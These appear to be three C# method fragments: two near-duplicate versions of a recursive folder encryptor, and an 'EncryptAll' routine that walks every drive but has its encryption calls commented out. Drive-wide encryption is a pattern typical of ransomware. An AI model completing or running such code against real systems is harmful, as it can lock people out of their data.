public void EncryptFolder(string folder_path) { var dfm = new DirManager(); var dirs = DirManager.GetFoldersRecursive(folder_path); foreach (var subDir in dirs) { dfm.ChooseDir(subDir); dfm.EncryptDir(); } }
public void EncryptFolder(String folder_path) { DirManager dfm = new DirManager(); List <String> dirs = DirManager.GetFoldersRecursive(folder_path); foreach (String subDir in dirs) { dfm.ChooseDir(subDir); dfm.EncryptDir(); } }
public void EncryptAll() { var dfm = new DirManager(); foreach (var drive in DriveInfo.GetDrives()) { var dirs = DirManager.GetFoldersRecursive(drive.ToString()); foreach (var subDir in dirs) { //dfm.ChooseDir(subDir); //dfm.EncryptDir(); } } }